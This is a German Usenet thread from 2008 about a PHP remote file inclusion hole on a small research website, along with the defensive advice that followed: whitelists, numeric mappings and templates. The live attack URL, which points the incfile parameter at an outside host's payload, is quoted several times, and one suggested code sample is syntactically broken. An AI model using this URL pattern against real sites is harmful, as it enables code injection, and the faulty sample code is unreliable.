Hacker überIinclude file
Hallo zusammen, ich hatte über ein Includefile eine Scheunentor geöffnet ...
http://uni-regensburg.equine-behaviour.de/index.php?incfile= http://yozurino.com/r.txt?
Ist das Problem bekannt?
Damit hat man mir eine datei temp.php aufgespielt, und die index.htm
geändert.:
http://uni-regensburg.equine-behaviour.de/temp.txt
vorher temp.php
viele Grüße Knut
Re: Hacker überIinclude file
Knut Krueger schrieb:
> Hallo zusammen, ich hatte über ein Includefile eine Scheunentor geöffnet
> ...
> http://uni-regensburg.equine-behaviour.de/index.php?incfile= http://yozurino.com/r.txt?
Was heisst du hattest? Du *hast*. Wie wäre es, wenn du das Script
(index.php) mal ganz schnell löschst? Du weisst schon, dass man bei dir
gerade beliebigen PHP-Code ausführen kann und du hier in der Newsgroup
auch noch dazu einlädst?
> Ist das Problem bekannt?
Ja, hinlänglich. Ich hatte dazu mal was bei phpbar.de geschrieben:
<http://www.phpbar.de/w/Injection>
Und vorweg: Das Problem liegt natürlich beim Entwickler, nicht bei PHP.
> Damit hat man mir eine datei temp.php aufgespielt, und die index.htm
> geändert.:
Und weil dir der Zustand so gut gefällt, machst du nichts dagegen?
*kopfschüttelnd*,
Thomas
--
"Faulheit ist die Wurzel allen Fortschritts!"
(Inhalt eines Knallbonbons, 2002)
Re: Hacker überIinclude file
Thomas Hamacher schrieb:
> Knut Krueger schrieb:
>> Hallo zusammen, ich hatte über ein Includefile eine Scheunentor geöffnet
>> ...
>> http://uni-regensburg.equine-behaviour.de/index.php?incfile= http://yozurino.com/r.txt?
>
> Was heisst du hattest? Du *hast*. Wie wäre es, wenn du das Script
> (index.php) mal ganz schnell löschst? Du weisst schon, dass man bei dir
> gerade beliebigen PHP-Code ausführen kann und du hier in der Newsgroup
> auch noch dazu einlädst?
Eigenentlich lassen sich keine https von fremden Servern mehr ausführen
>
>> Ist das Problem bekannt?
>
> Ja, hinlänglich. Ich hatte dazu mal was bei phpbar.de geschrieben:
>
> <http://www.phpbar.de/w/Injection>
Danke
>
> Und vorweg: Das Problem liegt natürlich beim Entwickler, nicht bei PHP.
Klar ...
>
>
> Und weil dir der Zustand so gut gefällt, machst du nichts dagegen?
Da warst Du etwas schneller als der Upload ...
Ich hoffe ich hab das Loch gestopft...
GRüße Knut
Re: Hacker überIinclude file
Knut Krueger schrieb:
>Eigenentlich lassen sich keine https von fremden Servern mehr ausführen
/index.php?incfile=index.php . Ganz toll.
Du möchtest dringend http://www.php-faq.de/q/q-sicherheit-parameter.html
lesen und eine Whitelist implementieren.
--
Wolfgang Fellger
Re: Hacker überIinclude file
Wolfgang Fellger schrieb:
> Knut Krueger schrieb:
>
>> Eigenentlich lassen sich keine https von fremden Servern mehr ausführen
>
> /index.php?incfile=index.php . Ganz toll.
Ja doch ;-) wer kann den ahnen dass Du so flott bist
>
> Du möchtest dringend http://www.php-faq.de/q/q-sicherheit-parameter.html
> lesen
Hab ich schon überflogen und war gerade dabei, aber erst hatte ich das
fremde URLs verboten.
und eine Whitelist implementieren.
Ist fertig .. hoffe ich ;-)
Grüße Knut
Re: Hacker überIinclude file
Knut Krueger schrieb:
> Hallo zusammen, ich hatte über ein Includefile eine Scheunentor geö=
ffnet
> ...
> http://uni-regensburg.equine-behaviour.de/index.php?incfile= 3Dhttp://yo=
zurino.com/r.txt?
>
>
> Ist das Problem bekannt?
Ich dachte das seit Peter Huth seiner "left.php" die ganze Welt sich der =
Problematik bewusst war und sich vor lachen den Bauch haelt?
Gruss
Joerg
--
TakeNet GmbH, Geschaeftsfuehrer Wolfgang Meier
97080 Wuerzburg Tel: +49 931 903-2243
Alfred-Nobel-Straße 20 Fax: +49 931 903-3025
HRB Wuerzburg 6940 http://www.takenet.de
Re: Hacker überIinclude file
Joerg Behrens schrieb:
> Knut Krueger schrieb:
>
> Ich dachte das seit Peter Huth seiner "left.php" die ganze Welt sich der
> Problematik bewusst war und sich vor lachen den Bauch haelt?
Wir wohnen etwas abseits ....
Grüße Knut
Re: Hacker überIinclude file
Knut Krueger schrieb:
> Joerg Behrens schrieb:
>> Knut Krueger schrieb:
>
>>
>> Ich dachte das seit Peter Huth seiner "left.php" die ganze Welt sich
>> der Problematik bewusst war und sich vor lachen den Bauch haelt?
>
> Wir wohnen etwas abseits ....
Ah ich sehe...
aber da seit ihr in nun in schlecher Gesellschaft.
Gruss
Joerg
--
TakeNet GmbH, Geschaeftsfuehrer Wolfgang Meier
97080 Wuerzburg Tel: +49 931 903-2243
Alfred-Nobel-Straße 20 Fax: +49 931 903-3025
HRB Wuerzburg 6940 http://www.takenet.de
Re: Hacker überIinclude file
Am Sat, 05 Jan 2008 20:51:07 +0100 schrieb Knut Krueger:
> Ist das Problem bekannt?
Ich lasse immer den Wagen offen. Nun hat mir jemand mein Handy geklaut, das
ich immer auf dem Beifahrersitz liegen lasse. Ist das Problem bekannt?
Martin
Re: Hacker überIinclude file
Am Sat, 05 Jan 2008 21:33:51 +0100 schrieb Knut Krueger:
> und eine Whitelist implementieren.
Eine include-Datei per Parameter anzugeben ist ein sehr schwerer
Konstruktinsfehler. Gewöhne Dir das ab. Alles das, was Du verwirklichen
willst, kann man auf nicht manipulierbare Weise bewerkstelligen.
Deine Whitelist-Idee macht den Murks weiter. Schmeiße den
Includefile-Paramter bitte ganz raus. Meinetwegen arbeite statt dessen mit
Ziffern.
http://uni-regensburg.equine-behaviour.de/index.php?incfile= 2
<?php
$includefile='default.php';
if (isset($_GET['incfile']) && is_numeric(isset($_GET['incfile'])))
{
case (isset($_GET['incfile']))
{
1: $includefile='tunix.php'; break;
2: $includefile='login.php'; break;
}
}
?>
GET-Parameter lassen sich am aller einfachsten fälschen. Besser wäre es,
die Parameter über die Session zu übergeben.
session_start();
$_SESSION['incfile']=1;
Anstatt in der Case-Abfrage alle möglichen Dateien zu implementieren,
kannst Du diese einfach in eine (Whitelist-) Datei schreiben:
$files=file('/secret/filepath/included/files.lst');
$includefile=$files[$_SESSION['incfile']];
In dem Falle sollte der Pfad zu dieser Datei außerhalb des aus dem Web
erreichbaren Bereiches liegen. Also oberhalb des DocRoot.
Martin
Re: Hacker überIinclude file
Martin Lemke schrieb:
> Am Sat, 05 Jan 2008 21:33:51 +0100 schrieb Knut Krueger:
>
>> und eine Whitelist implementieren.
>
> Eine include-Datei per Parameter anzugeben ist ein sehr schwerer
> Konstruktinsfehler. Gewöhne Dir das ab. Alles das, was Du verwirklichen
> willst, kann man auf nicht manipulierbare Weise bewerkstelligen.
>
> Deine Whitelist-Idee macht den Murks weiter. Schmeiße den
> Includefile-Paramter bitte ganz raus. Meinetwegen arbeite statt dessen mit
> Ziffern.
>
Das ist nun nicht meine Idee ...
Aber ich verstehe nicht ganz wie man nun fremden Code einschleusen kann
wenn die Datei in einer Whitelist steht und nur diese benutzt werden und
, fremde URLS nicht erlaubt sind.
Wenn ich alles mit Sessions übergebe habe ich dann nicht für
Suchmaschinen nur die index.php und alle anderen Links sind nicht mehr
erkennbar?
Es ist schnell zu ändern ich habe ohnehin nur zwei Dateien die alles
zusammenbauen.
GRüße Knut
Re: Hacker überIinclude file
Martin Lemke schrieb:
>Deine Whitelist-Idee macht den Murks weiter.
Quatsch. Man braucht eine Abbildung von allen möglichen Eingaben auf eine
genau definierte Menge von Ausgaben (plus Fehlerbedingung). Eine Whitelist
leistet das genauso wie dein Vorschlag.
Man kann das natürlich noch erheblich eleganter bauen und von der Dateiebene
weiter abstrahieren, aber Sicherheit gewinnt man dadurch nicht, nur schönere
URLs und ein flexibleres System. Die Frage ist, ob man das für eine Homepage
mit nem Dutzend Seiten so dringend braucht.
--
Wolfgang Fellger
Re: Hacker überIinclude file
Sokrates
Re: Hacker überIinclude file
Am 06 Jan 2008 18:03:34 GMT schrieb Wolfgang Fellger:
> Eine Whitelist leistet das genauso wie dein Vorschlag.
Sie unterstützt aber weiterhin den Konstruktionsfehler. In meinen Augen ist
es besser, eine Lösung sauber zu implementieen, anstatt Murks durch Hacks
einigermaßen abzusichern.
Aber das kann jeder machen wie er will.
> Die Frage ist, ob man das für eine Homepage
> mit nem Dutzend Seiten so dringend braucht.
In meinen Augen nicht. Ich hätte die Dokumente ganz konventionell per html
verlinkt und die gleichleibenden Menüs per Templateengine erzeugt.
Aber wer will, kann das alles auch von hinten durch die Brust ins Auge
implementieren. Bei einem angemessenen Ansatz hätte der OP sich das Blaue
Auge sparen könen.
Dies war nun wirklich keine Aufgabe, die es unausweichlich machte, eine
erhebliche Sicherheitslücke zu eröffnen.
Martin
Re: Hacker überIinclude file
Am Sun, 06 Jan 2008 18:43:22 +0100 schrieb Knut Krueger:
> Aber ich verstehe nicht ganz wie man nun fremden Code einschleusen kann
> wenn die Datei in einer Whitelist steht und nur diese benutzt werden und
> , fremde URLS nicht erlaubt sind.
Das mag jetzt richtig funktinieren, aber der Ansatz ist nun einmal
unsicher, wie Du feststellen musstest. Und das ohne Not.
> Wenn ich alles mit Sessions übergebe habe ich dann nicht für
> Suchmaschinen nur die index.php und alle anderen Links sind nicht mehr
> erkennbar?
Besser erkennbar wären folgende Links:
<a href='home.php'>Home</a>
<a href='research.php'>Forschung</a>
....
Die Aufgabe, jeder Seite den selben Rahmen (Menüs u.s.w.) zu zu geben,
hättesat Du über ein Template besser erledigt.
Martin
Re: Hacker überIinclude file
On Wed, 9 Jan 2008 06:33:17 +0100, Martin Lemke
<nospamusenet [at] maaaddin.de> wrote:
>Am 06 Jan 2008 18:03:34 GMT schrieb Wolfgang Fellger:
>
>> Eine Whitelist leistet das genauso wie dein Vorschlag.
>
>Sie unterstützt aber weiterhin den Konstruktionsfehler.
Aber *warum* ist es IYO immer noch ein Konstruktionsfehler, wenn man
die offensichtlich Sicherheitslücke dabei sicher schließt?
Grüße
woffi
Re: Hacker überIinclude file
Martin Lemke schrieb:
>
>> Die Frage ist, ob man das für eine Homepage
>> mit nem Dutzend Seiten so dringend braucht.
>
> In meinen Augen nicht. Ich hätte die Dokumente ganz konventionell per html
> verlinkt und die gleichleibenden Menüs per Templateengine erzeugt.
>
Ich habe zusätzlich zu den Includes zwei Dateien, eine die das Layout
aufbaut und eine die die Logik verwaltet.
z.B wird eine Link angezeigt ohne oder mit eingeloggtem Benutzer
Sprich z.B Logout und die Datenseite oder Login.
Welches Menü wird aufgebaut wenn welche include Datei angefordert wird
Wird der Menüpunkt als voller HTML Link, als include oder als e-mail
angezeigt.
Insgesamt kann ich damit die Seiten schnell ändern.
Eigentlich könnte ich auch anstatt .../index.php?incfile=research.php
aufzurufen, ../research1.php aufrufen und z.B die Datei research.php und
das Layout einbinden lassen. Nur hätte ich dann eben wie in den meisten
Templates die ich mir damals angeschaut habe zwei Dateien anstatt einer.
Für einen Eintrag habe ich das eben schnell geändert und die Datei erstellt.
http://uni-regensburg.equine-behaviour.de/research1.php
ist das gleiche wie
http://uni-regensburg.equine-behaviour.de/index.php?incfile= research.php
Eigentlich habe ich also Templates, nur eben selbst erstellt.
> Dies war nun wirklich keine Aufgabe, die es unausweichlich machte, eine
> erhebliche Sicherheitslücke zu eröffnen.
Nein nur das es mir nicht bewusst war ... und ich mir Arbeit und Dateien
ersparen wollte. Eigentlich sind die Links auch schöner, eventuell
stelle ich es deswegen doch noch um. Die Sicherheitsfrage mit Whitelist
wird ja auch hier kontrovers diskutiert.
Ich hatte vornehmlich http://www.selfphp.info/ angeschaut und die
Hinweise über php injection nicht gefunden. Eventuell sollte man hier
einen Punkt ganz vorne hinstellen, z.B Hinweise zu Sicherheitslücken.
Aber manchmal ist man halt blind über SQL in Injection habe ich es
gefunden und hoffe dass die Eingaben sicher sind ...
Aber ich werde es nochmals durchgehen ;-)
GRüße Knut
viele GRüße Knut
Re: Hacker überIinclude file
Martin Lemke schrieb:
> Das mag jetzt richtig funktinieren, aber der Ansatz ist nun einmal
> unsicher, wie Du feststellen musstest. Und das ohne Not.
Warum sollte eine Whitelist unsicher sein? Begründe deine unglaubwürdige
Meinung doch mal. Der Prinzip einer Whitelist ist das sicherste und
sollte jedem anderen vorgezogen werden.
--
Mit freundlichen Grüßen,
Christoph Herrmann
http://dragonprojects.de/
Re: Hacker überIinclude file
Christoph Herrmann schrieb:
> Martin Lemke schrieb:
>> Das mag jetzt richtig funktinieren, aber der Ansatz ist nun einmal
>> unsicher, wie Du feststellen musstest. Und das ohne Not.
> Warum sollte eine Whitelist unsicher sein? Begründe deine unglaubwürdige
> Meinung doch mal. Der Prinzip einer Whitelist ist das sicherste und
> sollte jedem anderen vorgezogen werden.
Wo Martin jetzt den Vorteil zwischen seiner Lösung in
<14meeiwcghzcb.dlg [at] immer-wieder-gut-im-usenet-posten.maaadin.de>
und einer Whitelist sieht, würde mich auch interessieren. Der Ansatz ist
im Prinzip nichts anderes als eine Whitelist, nur das die Schlüssel bei
ihm keine sprechenden Ausdrücke wie z.B. "home" oder "impressum" sind,
sondern Zahlen.
--
"Faulheit ist die Wurzel allen Fortschritts!"
(Inhalt eines Knallbonbons, 2002)
Re: Hacker überIinclude file
Martin Lemke schrieb:
> Sie unterstützt aber weiterhin den Konstruktionsfehler.
Genau das ist das Problem. Allerdings ist das das einzige welches allein
bei korrekter Anwendung nicht auftritt. Allerdings würde ich es auch
niemenden Empfehlen die Namen seiner Includes nach aussen zu zeigen. Das
sind Dinge die keinen was angehen und ausserdem verleitet dieses
Konstrukt ja geradezu zu Mißbrauchsversuchen. Auch wenn diese im
Nirgendwo enden ists doch sinnloser Traffic.
MfG, Ulf